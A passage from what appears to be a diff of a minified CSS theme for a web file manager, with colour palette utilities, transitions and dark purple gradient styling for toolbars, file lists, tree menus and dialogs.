px;}.mb-30{margin-bottom:30px;}.ml-30{margin-left:30px;}.mt-35{margin-top:35px;}.mr-35{margin-right:35px;}.mb-35{margin-bottom:35px;}.ml-35{margin-left:35px;}.mt-40{margin-top:40px;}.mr-40{margin-right:40px;}.mb-40{margin-bottom:40px;}.ml-40{margin-left:40px;}.mt-45{margin-top:45px;}.mr-45{margin-right:45px;}.mb-45{margin-bottom:45px;}.ml-45{margin-left:45px;}.mt-50{margin-top:50px;}.mr-50{margin-right:50px;}.mb-50{margin-bottom:50px;}.ml-50{margin-left:50px;}.blue-1{color:#ecf6fd;}.bg-blue-1{background:#ecf6fd;}.bdcolor-blue-1{border-color:#ecf6fd;}.blue-2{color:#d2eafb;}.bg-blue-2{background:#d2eafb;}.bdcolor-blue-2{border-color:#d2eafb;}.blue-3{color:#add8f7;}.bg-blue-3{background:#add8f7;}.bdcolor-blue-3{border-color:#add8f7;}.blue-4{color:#7ec2f3;}.bg-blue-4{background:#7ec2f3;}.bdcolor-blue-4{border-color:#7ec2f3;}.blue-5{color:#49a9ee;}.bg-blue-5{background:#49a9ee;}.bdcolor-blue-5{border-color:#49a9ee;}.blue-6{color:#108ee9;}.bg-blue-6{background:#108ee9;}.bdcolor-blue-6{border-color:#108ee9;}.blue-7{color:#0e77ca;}.bg-blue-7{background:#0e77ca;}.bdcolor-blue-7{border-color:#0e77ca;}.blue-8{color:#0c60aa;}.bg-blue-8{background:#0c60aa;}.bdcolor-blue-8{border-color:#0c60aa;}.blue-9{color:#09488a;}.bg-blue-9{background:#09488a;}.bdcolor-blue-9{border-color:#09488a;}.blue-10{color:#073069;}.bg-blue-10{background:#073069;}.bdcolor-blue-10{border-color:#073069;}.purple-1{color:#f4f3fd;}.bg-purple-1{background:#f4f3fd;}.bdcolor-purple-1{border-color:#f4f3fd;}.purple-2{color:#e4e2fa;}.bg-purple-2{background:#e4e2fa;}.bdcolor-purple-2{border-color:#e4e2fa;}.purple-3{color:#cfcaf6;}.bg-purple-3{background:#cfcaf6;}.bdcolor-purple-3{border-color:#cfcaf6;}.purple-4{color:#b3acf2;}.bg-purple-4{background:#b3acf2;}.bdcolor-purple-4{border-color:#b3acf2;}.purple-5{color:#948aec;}.bg-purple-5{background:#948aec;}.bdcolor-purple-5{border-color:#948aec;}.purple-6{color:#7265e6;}.bg-purple-6{background:#7265e6;}.bdcolor-purple-6{border-color:#7265e6;}.purple-7{color:#6252cd;}.bg-purple-7{background:#6252cd;}.bdcolor-purple-7{border-color:#6252cd;}.purple-8{color:#533eb4;}.bg-purple-8{background:#533eb4;}.bdcolor-purple-8{border-color:#533eb4;}.purple-9{color:#42299a;}.bg-purple-9{background:#42299a;}.bdcolor-purple-9{border-color:#42299a;}.purple-10{color:#321580;}.bg-purple-10{background:#321580;}.bdcolor-purple-10{border-color:#321580;}.cyan-1{color:#ebf8f9;}.bg-cyan-1{background:#ebf8f9;}.bdcolor-cyan-1{border-color:#ebf8f9;}.cyan-2{color:#cfedf0;}.bg-cyan-2{background:#cfedf0;}.bdcolor-cyan-2{border-color:#cfedf0;}.cyan-3{color:#a7dfe3;}.bg-cyan-3{background:#a7dfe3;}.bdcolor-cyan-3{border-color:#a7dfe3;}.cyan-4{color:#76cdd3;}.bg-cyan-4{background:#76cdd3;}.bdcolor-cyan-4{border-color:#76cdd3;}.cyan-5{color:#3db8c1;}.bg-cyan-5{background:#3db8c1;}.bdcolor-cyan-5{border-color:#3db8c1;}.cyan-6{color:#00a2ae;}.bg-cyan-6{background:#00a2ae;}.bdcolor-cyan-6{border-color:#00a2ae;}.cyan-7{color:#008997;}.bg-cyan-7{background:#008997;}.bdcolor-cyan-7{border-color:#008997;}.cyan-8{color:#00707f;}.bg-cyan-8{background:#00707f;}.bdcolor-cyan-8{border-color:#00707f;}.cyan-9{color:#005667;}.bg-cyan-9{background:#005667;}.bdcolor-cyan-9{border-color:#005667;}.cyan-10{color:#003c4e;}.bg-cyan-10{background:#003c4e;}.bdcolor-cyan-10{border-color:#003c4e;}.green-1{color:#ebf8f2;}.bg-green-1{background:#ebf8f2;}.bdcolor-green-1{border-color:#ebf8f2;}.green-2{color:#cfefdf;}.bg-green-2{background:#cfefdf;}.bdcolor-green-2{border-color:#cfefdf;}.green-3{color:#a7e1c4;}.bg-green-3{background:#a7e1c4;}.bdcolor-green-3{border-color:#a7e1c4;}.green-4{color:#76d0a3;}.bg-green-4{background:#76d0a3;}.bdcolor-green-4{border-color:#76d0a3;}.green-5{color:#3dbd7d;}.bg-green-5{background:#3dbd7d;}.bdcolor-green-5{border-color:#3dbd7d;}.green-6{color:#00a854;}.bg-green-6{background:#00a854;}.bdcolor-green-6{border-color:#00a854;}.green-7{color:#00924c;}.bg-green-7{background:#00924c;}.bdcolor-green-7{border-color:#00924c;}.green-8{color:#007b43;}.bg-green-8{background:#007b43;}.bdcolor-green-8{border-color:#007b43;}.green-9{color:#00643b;}.bg-green-9{background:#00643b;}.bdcolor-green-9{border-color:#00643b;}.green-10{color:#004c32;}.bg-green-10{background:#004c32;}.bdcolor-green-10{border-color:#004c32;}.pink-1{color:#feeff5;}.bg-pink-1{background:#feeff5;}.bdcolor-pink-1{border-color:#feeff5;}.pink-2{color:#fdd8e7;}.bg-pink-2{background:#fdd8e7;}.bdcolor-pink-2{border-color:#fdd8e7;}.pink-3{color:#fcb8d3;}.bg-pink-3{background:#fcb8d3;}.bdcolor-pink-3{border-color:#fcb8d3;}.pink-4{color:#fa90ba;}.bg-pink-4{background:#fa90ba;}.bdcolor-pink-4{border-color:#fa90ba;}.pink-5{color:#f7629e;}.bg-pink-5{background:#f7629e;}.bdcolor-pink-5{border-color:#f7629e;}.pink-6{color:#f5317f;}.bg-pink-6{background:#f5317f;}.bdcolor-pink-6{border-color:#f5317f;}.pink-7{color:#dc277d;}.bg-pink-7{background:#dc277d;}.bdcolor-pink-7{border-color:#dc277d;}.pink-8{color:#c11c7b;}.bg-pink-8{background:#c11c7b;}.bdcolor-pink-8{border-color:#c11c7b;}.pink-9{color:#a71278;}.bg-pink-9{background:#a71278;}.bdcolor-pink-9{border-color:#a71278;}.pink-10{color:#8c0776;}.bg-pink-10{background:#8c0776;}.bdcolor-pink-10{border-color:#8c0776;}.red-1{color:#fef0ef;}.bg-red-1{background:#fef0ef;}.bdcolor-red-1{border-color:#fef0ef;}.red-2{color:#fcdbd9;}.bg-red-2{background:#fcdbd9;}.bdcolor-red-2{border-color:#fcdbd9;}.red-3{color:#fabeb9;}.bg-red-3{background:#fabeb9;}.bdcolor-red-3{border-color:#fabeb9;}.red-4{color:#f79992;}.bg-red-4{background:#f79992;}.bdcolor-red-4{border-color:#f79992;}.red-5{color:#f46e65;}.bg-red-5{background:#f46e65;}.bdcolor-red-5{border-color:#f46e65;}.red-6{color:#f04134;}.bg-red-6{background:#f04134;}.bdcolor-red-6{border-color:#f04134;}.red-7{color:#d73435;}.bg-red-7{background:#d73435;}.bdcolor-red-7{border-color:#d73435;}.red-8{color:#bd2636;}.bg-red-8{background:#bd2636;}.bdcolor-red-8{border-color:#bd2636;}.red-9{color:#a31837;}.bg-red-9{background:#a31837;}.bdcolor-red-9{border-color:#a31837;}.red-10{color:#880a38;}.bg-red-10{background:#880a38;}.bdcolor-red-10{border-color:#880a38;}.orange-1{color:#fef3eb;}.bg-orange-1{background:#fef3eb;}.bdcolor-orange-1{border-color:#fef3eb;}.orange-2{color:#fde3cf;}.bg-orange-2{background:#fde3cf;}.bdcolor-orange-2{border-color:#fde3cf;}.orange-3{color:#fccca7;}.bg-orange-3{background:#fccca7;}.bdcolor-orange-3{border-color:#fccca7;}.orange-4{color:#faaf76;}.bg-orange-4{background:#faaf76;}.bdcolor-orange-4{border-color:#faaf76;}.orange-5{color:#f78e3d;}.bg-orange-5{background:#f78e3d;}.bdcolor-orange-5{border-color:#f78e3d;}.orange-6{color:#f56a00;}.bg-orange-6{background:#f56a00;}.bdcolor-orange-6{border-color:#f56a00;}.orange-7{color:#d75000;}.bg-orange-7{background:#d75000;}.bdcolor-orange-7{border-color:#d75000;}.orange-8{color:#b93600;}.bg-orange-8{background:#b93600;}.bdcolor-orange-8{border-color:#b93600;}.orange-9{color:#991b00;}.bg-orange-9{background:#991b00;}.bdcolor-orange-9{border-color:#991b00;}.orange-10{color:#7a0000;}.bg-orange-10{background:#7a0000;}.bdcolor-orange-10{border-color:#7a0000;}.yellow-1{color:#fffaeb;}.bg-yellow-1{background:#fffaeb;}.bdcolor-yellow-1{border-color:#fffaeb;}.yellow-2{color:#fff3cf;}.bg-yellow-2{background:#fff3cf;}.bdcolor-yellow-2{border-color:#fff3cf;}.yellow-3{color:#ffe9a7;}.bg-yellow-3{background:#ffe9a7;}.bdcolor-yellow-3{border-color:#ffe9a7;}.yellow-4{color:#ffdd76;}.bg-yellow-4{background:#ffdd76;}.bdcolor-yellow-4{border-color:#ffdd76;}.yellow-5{color:#ffce3d;}.bg-yellow-5{background:#ffce3d;}.bdcolor-yellow-5{border-color:#ffce3d;}.yellow-6{color:#ffbf00;}.bg-yellow-6{background:#ffbf00;}.bdcolor-yellow-6{border-color:#ffbf00;}.yellow-7{color:#e09a00;}.bg-yellow-7{background:#e09a00;}.bdcolor-yellow-7{border-color:#e09a00;}.yellow-8{color:#c17500;}.bg-yellow-8{background:#c17500;}.bdcolor-yellow-8{border-color:#c17500;}.yellow-9{color:#a04f00;}.bg-yellow-9{background:#a04f00;}.bdcolor-yellow-9{border-color:#a04f00;}.yellow-10{color:#802800;}.bg-yellow-10{background:#802800;}.bdcolor-yellow-10{border-color:#802800;}.grey-1{color:#fbfbfb;}.bg-grey-1{background:#fbfbfb;}.bdcolor-grey-1{border-color:#fbfbfb;}.grey-2{color:#f7f7f7;}.bg-grey-2{background:#f7f7f7;}.bdcolor-grey-2{border-color:#f7f7f7;}.grey-3{color:#f5f5f5;}.bg-grey-3{background:#f5f5f5;}.bdcolor-grey-3{border-color:#f5f5f5;}.grey-4{color:#e9e9e9;}.bg-grey-4{background:#e9e9e9;}.bdcolor-grey-4{border-color:#e9e9e9;}.grey-5{color:#d9d9d9;}.bg-grey-5{background:#d9d9d9;}.bdcolor-grey-5{border-color:#d9d9d9;}.grey-6{color:#bfbfbf;}.bg-grey-6{background:#bfbfbf;}.bdcolor-grey-6{border-color:#bfbfbf;}.grey-7{color:#919191;}.bg-grey-7{background:#919191;}.bdcolor-grey-7{border-color:#919191;}.grey-8{color:#5a5a5a;}.bg-grey-8{background:#5a5a5a;}.bdcolor-grey-8{border-color:#5a5a5a;}.grey-9{color:#404040;}.bg-grey-9{background:#404040;}.bdcolor-grey-9{border-color:#404040;}.grey-10{color:#222;}.bg-grey-10{background:#222;}.bdcolor-grey-10{border-color:#222;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.label{font-weight:400;font-size:1em;display:inline-block;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.cursor-mouse.cursor-default *{cursor:url("../../../images/common/cursor/default.png"), auto !important;}.cursor-mouse.cursor-move *{cursor:url("../../../images/common/cursor/move.png"), auto !important;}.cursor-mouse.cursor-down *{cursor:url("../../../images/common/cursor/down.png"), auto !important;}.cursor-mouse.cursor-add *{cursor:url("../../../images/common/cursor/add.png"), auto !important;}.text-color-set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full-background{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:100% 100%;} body .full-background:before{ width:100%;height:100%;display:block;content:" ";filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:100% 100%;filter:url(blur.svg#full-background);-webkit-filter:blur(10px);-moz-filter:blur(10px);-ms-filter:blur(10px);filter:blur(10px);} body .btn .font-icon, body .btn.btn-default .font-icon{ color:rgba(255,255,255,0.8);} body .aui-outer .btn .font-icon, body .edit-main .btn .font-icon{ color:#999;} body .common-footer{ background:rgba(234,234,234,0.1);color:rgba(255,255,255,0.6);border-top:1px solid rgba(234,234,234,0.15);} body .common-footer a{ color:rgba(255,255,255,0.8);} body .context-menu-list{ box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;background:rgba(255,255,255,0.95);} body .context-menu-list .context-menu-item{ line-height:25px;height:25px;padding:0 15px 0 20px;} body .aui-outer{ border:none;box-shadow:0px 5px 20px rgba(0,0,0,0.5), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-state-focus .aui-outer{ box-shadow:0px 5px 30px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.2);} body .aui-buttons{ border-top:1px solid rgba(255,255,255,0.2);} body div.dialog-simple .aui-title{ border-radius:0;} body .aui-buttons button.aui-state-highlight{ background:linear-gradient(to right,#44abf6,#2865e2);} body .aui-state-focus .aui-title, body .aui-title{ background-color:rgba(0,0,0,0.8);box-shadow:0 1px 0 rgba(255,255,255,0.15);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background-image:-webkit-linear-gradient(200deg,#480552,#000000);background-image:-moz-linear-gradient(200deg,#480552,#000000);background-image:-o-linear-gradient(200deg,#480552,#000000);background-image:-ms-linear-gradient(200deg,#480552,#000000);background-image:linear-gradient(200deg,#480552,#000000);-pie-background:linear-gradient(to 200deg,#480552,#000000);text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;opacity:0.95;} body .dropdown-menu > li > a:hover, body .dropdown-menu .this a, body .dropdown-menu > li > a:focus{ background:linear-gradient(to right,#44abf6,#2865e2);} body .topbar{ background:rgba(234,234,234,0.23);box-shadow:0 0 6px rgba(0,0,0,0.2);border-bottom:1px solid rgba(255,255,255,0.01);border:none;} body .topbar .content{ border-bottom:none;} body .topbar .content .topbar-menu{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-color:rgba(234,234,234,0.05);} body .topbar .content .open .topbar-menu, body .topbar .content .topbar-menu:hover, body .topbar .content .topbar-menu.this{ background:rgba(234,234,234,0.23);} body .topbar .content .share-title, body .topbar .content .share-info, body .topbar .content .share-info .time{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .topbar .content .top-right div.share-info-user{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main{ background:rgba(221,221,221,0.02);} body .frame-main .frame-right .frame-right-main .tools{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:1px 2px 15px rgba(0,0,0,0.2);} body .frame-main .frame-right .frame-right-main .tools .font-icon{ color:#fff;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size:hover .dropdown-toggle, body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size.open .dropdown-toggle{ background:rgba(234,234,234,0.23);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .frame-main .frame-right .frame-right-main .tools .tools-right .set-icon-size .set-icon-size-slider .slider-bg{ background:#666;} body .frame-main .frame-right .file-select-info{ background:#000;background:rgba(0,0,0,0.2);color:#aaa;opacity:0.5;filter:alpha(opacity=50);} body div.frame-header{ background:rgba(221,221,221,0.02);border-bottom:1px solid rgba(234,234,234,0.05);} body div.frame-main .frame-left{ background:rgba(221,221,221,0.02);border-right:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box{ background:rgba(221,221,221,0.02);border-right:none;border-top:1px solid rgba(234,234,234,0.15);} body div.frame-main .frame-left .bottom-box .cell{ background:rgba(221,221,221,0.02);color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border:1px solid rgba(234,234,234,0.05);box-shadow:0 0 10px rgba(0,0,0,0.1);} body div.frame-main .frame-left .bottom-box .cell:hover{ background:rgba(234,234,234,0.16);} body .setting-content .input-btn-right .font-icon{ color:#888;} body .user-space-info{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .group-space-use{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .btn-default{ text-shadow:none;} body #btn-history-back, body #home, body #fav{ border-right-color:transparent;} body .btn#home{ border-radius:3px 0 0 3px;} body .btn#up, body .btn#search{ border-radius:0 3px 3px 0;} body .input-style{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input, body .frame-header .header-content .header-right input:focus{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .frame-header .header-content .header-right input{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .button-style{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .button-style:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .button-style:active, body .button-style.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .frame-main .frame-right .frame-right-main .tools button.btn, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn, body .frame-header .header-content button.btn, body .frame-header .header-content .header-right .btn-default, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .frame-main .frame-right .frame-right-main .tools button.btn:hover, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:hover, body .frame-header .header-content button.btn:hover, body .frame-header .header-content .header-right .btn-default:hover, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .frame-main .frame-right .frame-right-main .tools button.btn:active, body .frame-main .frame-right .frame-right-main .tools button.btn.active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn:active, body .frame-main .frame-right .frame-right-main .tools .tools-left button.btn.active, body .frame-header .header-content button.btn:active, body .frame-header .header-content button.btn.active, body .frame-header .header-content .header-right .btn-default:active, body .frame-header .header-content .header-right .btn-default.active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path:active, body .frame-main .frame-right .frame-right-main .admin-real-path a.dialog-goto-path.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .btn-default{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.23);box-shadow:0 5px 10px rgba(234,234,234,0.1) inset;} body .header-middle .btn-default:hover{ box-shadow:inset 0 2px 4px rgba(0,0,0,0.1), 0 0 5px rgba(234,234,234,0.15);border-color:rgba(234,234,234,0.15);} body .header-middle .btn-default:active, body .header-middle .btn-default.active{ box-shadow:inset 0 4px 10px rgba(0,0,0,0.4);border-color:rgba(234,234,234,0.23);} body .header-middle .disable .font-icon{ opacity:0.6;filter:alpha(opacity=60);} body .header-middle #yarnball{ border-right-color:transparent;background:none;border:1px solid rgba(234,234,234,0.23);box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball-input input.path{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball-input{ background:none;border:1px solid rgba(234,234,234,0.23);border-right-color:transparent;box-shadow:inset 0px 0px 20px rgba(0,0,0,0.15);} body .header-middle #yarnball .yarnball .yarnlet a{ background:none;color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .header-middle #yarnball .yarnball .yarnlet a::after{ content:'/';padding-left:5px;} body .header-middle #yarnball .yarnball .yarnlet a:hover{ color:rgba(234,234,234,0.23);} body .header-middle #yarnball .yarnball .yarnlet a.curDropToPath{ color:#f60;} body .header-middle #yarnball .yarnball .yarnlet a, body .header-middle #yarnball .yarnball .yarnlet a:link, body .header-middle #yarnball .yarnball .yarnlet a:visited{ padding:0px 8px 0px 8px;margin-left:-10px;} body .header-middle #yarnball .yarnball .yarnlet .left-yarn{ background:none;} body .frame-header .header-content .btn-default:active, body .frame-header .header-content .btn-default.active{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;background:rgba(234,234,234,0.1);border-color:rgba(234,234,234,0.15);} body .file-draging.file-list-icon div.file .filename, body .file-draging.file-list-list div.file .filename, body .file-draging.file-list-split div.file .filename{ visibility:hidden;} body .file-draging.file-list-icon div.file.handle_target .filename, body .file-draging.file-list-list div.file.handle_target .filename, body .file-draging.file-list-split div.file.handle_target .filename{ visibility:visible;} body .file-list-icon .file{ color:#fff;} body .file-list-list .file{ border-bottom:1px solid rgba(234,234,234,0.05);} body .file-list-list .file.file2{ background:rgba(221,221,221,0.02);} body .file-continer .file, body .file-continer .file2{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;text-shadow:0 0 1px #fff;} body .file-continer .file.hover, body .file-continer .file.select-split-parent, body .file-continer .file2.hover, body .file-continer .file2.select-split-parent{ filter:none;background:rgba(234,234,234,0.1);border:1px solid rgba(234,234,234,0.1);} body .file-continer .file.select, body .file-continer .file.file-select-drag-temp, body .file-continer .file.file-select-over-temp, body .file-continer .file2.select, body .file-continer .file2.file-select-drag-temp, body .file-continer .file2.file-select-over-temp{ background:rgba(234,234,234,0.16);border:1px solid rgba(234,234,234,0.23);border-bottom:1px solid rgba(234,234,234,0.23);} body .file-list-split .split-box{ border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);} body .file-list-split .split-box.split-hover{ background:rgba(5,5,5,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(5,5,5,0.2) inset;border-bottom-color:rgba(255,255,255,0.2);} body .file-list-split .split-box.split-select{ background:rgba(0,0,0,0.2);background:rgba(0,0,0,0.01);box-shadow:0 0 100px rgba(0,0,0,0.2) inset;border-left:1px solid #eee;border-color:rgba(0,0,0,0.2);margin-left:-1px;border-bottom:5px solid #2196F3;border-bottom-color:rgba(255,255,255,0.4);} body .file-list-split .file .children-open{ background:rgba(255,255,255,0.01);} body .file-list-split .file .children-open i.font-icon{ color:#fff;} body .context-menu-list .context-menu-item.hover{ background:linear-gradient(to right,#44abf6,#2865e2);} body #list-type-header{ background:none;} body #main-title{ background:rgba(234,234,234,0.1);border-bottom:1px solid rgba(234,234,234,0.15);box-shadow:0px 5px 5px rgba(0,0,0,0.05);} body #main-title .this{ background:rgba(234,234,234,0.16);} body #main-title .filename, body #main-title .filesize, body #main-title .filetype, body #main-title .filetime{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;border-right:1px solid rgba(234,234,234,0.23);} body #main-title .filename:hover, body #main-title .filesize:hover, body #main-title .filetype:hover, body #main-title .filetime:hover{ background:rgba(234,234,234,0.16);} body#page-editor .frame-main .tools-left{ background:rgba(234,234,234,0.15);border-bottom:1px solid rgba(234,234,234,0.05);} body#page-editor .frame-main .tools-left a{ color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body#page-editor .frame-main .frame-right .frame-right-main .frame{ border-left:1px solid rgba(234,234,234,0.05);} body #body .menu-left, body #body .app-menu-left{ background:rgba(230,230,230,0.2);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#480552', endColorstr='#000000');background-image:-webkit-linear-gradient(180deg,#480552,#000000);background-image:-moz-linear-gradient(180deg,#480552,#000000);background-image:-o-linear-gradient(180deg,#480552,#000000);background-image:-ms-linear-gradient(180deg,#480552,#000000);background-image:linear-gradient(180deg,#480552,#000000);-pie-background:linear-gradient(to 180deg,#480552,#000000);background-size:cover;} body #body .menu-left h1, body #body .app-menu-left h1{ color:#fff;font-weight:400;} body #body .menu-left .setting a, body #body .app-menu-left .setting a{ color:#fff;} body #body .menu-left .setting a:hover, body #body .app-menu-left .setting a:hover{ background:rgba(242,242,242,0.2);} body #body .menu-left .setting a.selected, body #body .app-menu-left .setting a.selected{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.7);color:#fff;} body #body .menu-left .line, body #body .app-menu-left .line{ color:#fff;border-color:#aaa;border-color:rgba(255,255,255,0.3);} body #body .user-list a{ color:#2a6496;} body #body .system-content .left-frame .left-content .ztree li a{ text-shadow:none;} body #body .system-content .left-frame .left-content .ztree li a.hover{ background:#eee;border-color:#eee;} body #body .system-content .left-frame .left-content .ztree li a.curSelectedNode{ background:#63acff;border:1px solid #63acff;} body#page-explorer .task-tab, body#page-editor .task-tab{ background:rgba(255,255,255,0.2);border-color:rgba(255,255,255,0.3);} body .ztree li a{ color:#fff;border-radius:3px;margin:0 4px 0 4px;background:transparent;border-color:transparent;text-shadow:0 0 0px #fff, 0 1px 3px #666666;} body .ztree li a:hover{ background:rgba(234,234,234,0.15);border-color:transparent;} body .ztree li a span.button.switch{ opacity:0.8;filter:alpha(opacity=80);} body .ztree li a span.button.switch:after{ color:#cccccc;} body .ztree li a span.button.switch.noline_open:after, body .ztree li a span.button.switch.noline_open_hover:after{ color:#e6e6e6;} body .ztree li a.curSelectedNode, body .ztree li a.curDropTreeNode{ background:rgba(234,234,234,0.33);border-color:transparent;} body .ztree li a.curSelectedNode .noline_open:after, body .ztree li a.curSelectedNode .noline_open_hover:after, body .ztree li a.curSelectedNode .noline_close:after, body .ztree li a.curDropTreeNode .noline_open:after, body .ztree li a.curDropTreeNode .noline_open_hover:after, body .ztree li a.curDropTreeNode .noline_close:after{ color:#fff !important;} body .ztree.group-list-tree li a{ color:#444;text-shadow:none;} body.setting-page .ztree li a{ color:inherit;}} -/* ver 4.25(2017-12-04) [build 1512368390.3509] */ \ No newline at end of file +.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.text-color-set{color:#fff;text-shadow:0 0 0px #fff, 0 1px 3px #666666;}@media screen and (max-width:100000px){body{ position:absolute;top:0px;left:0px;bottom:0px;right:0px;} body .x-folder{ background-image:url("../../images/file_icon/icon_others/folder_alpha.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_alpha.png',sizingMethod='scale');} body .full-background{ 